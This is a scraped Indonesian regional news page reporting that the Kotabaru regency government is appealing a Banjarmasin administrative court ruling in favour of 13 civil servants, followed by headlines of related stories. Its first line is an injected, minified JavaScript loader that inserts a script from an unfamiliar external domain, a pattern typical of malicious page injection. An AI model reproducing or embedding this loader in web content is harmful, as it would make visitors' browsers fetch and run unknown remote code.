(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KOTABARU, Pemkab Kotabaru yakin menang upaya hukum banding di PTUN Banjarmasin.
“Kami yakin menang dalam upaya Banding terhadap putusan Pengadilan Tata Usaha Negara (PTUN) Banjarmasin tanggal 12 September 2017 yang memenangkan sebagian gugatan 13 pejabat Aparatur Sipil Negara (ASN) yang difungsionalkan,†ungkap Kepala Bagian (Kabag) Hukum Setda Kabupaten Kotabaru Basuki kepada Kalimantan View, Selasa (26/9).
Melalui kuasa hukum Pemerintah Kabupaten Kotabaru sudah mengajukan Akte Banding ke Pengadilan Tata Usaha Negara (PTUN) Jakarta melalui PTUN di Banjarmasin.
“Kami dari bagian hukum Setda Kotabaru sudah mengajukan Akte Banding ke PTUN Jakarta melalui kantor PTUN di Banjarmasin pada Selasa (19/9) lalu,†ujar Basuki.
Pihaknya akan menyampaikan memori Banding yang diperkiraan akan dilakukan pada tanggal 5 Oktober 2017 mendatang selanjutnya akan menunggu prosesnya berdasarkan penilaian dari majelis hakim.
“Kita tunggu saja lah bagaimana nanti hasilnya dan yang akan melakukan penilaian adalah majelis hakim PTUN Jakarta,†jelasnya.
Menurutnya, kalaupun nanti pada prosesnya pengajuan Banding dari Pemkab Kotabaru ternyata kalah maka bisa saja ada upaya lain untuk menempuh jalur lain yakni Kasasi karena secara aturan hal itu diperbolehkan.
“Pada prinsipnya kami dari bagian hukum hanya melaksanakan tugas sebagai kuasa hukum Pemerintah Daerah sesuai dengan Permendagri nomor 12 tahun 2014 tentang pedoman penanganan perkara di lingkungan Kementerian Dalam Negeri dan Pemerintah Daerah,†tambahnya.
Sebelumnya, Sekretaris Daerah (Sekda) Kabupaten Kotabaru H Said Ahmad menyatakan, dengan adanya putusan PTUN Banjarmasin yang berkenaan tentang ASN yang difungsionalkan sebanyak 13 orang oleh kepala daerah akan ada upaya lanjutan yakni banding dan itu pasti akan berproses.
“Bupati sudah menyampaikan kepada Kabag Hukum Setda bahwa akan banding terhadap putusan itu, yang berarti masih akan berproses,†ujarnya.***
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More
KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More
This website uses cookies.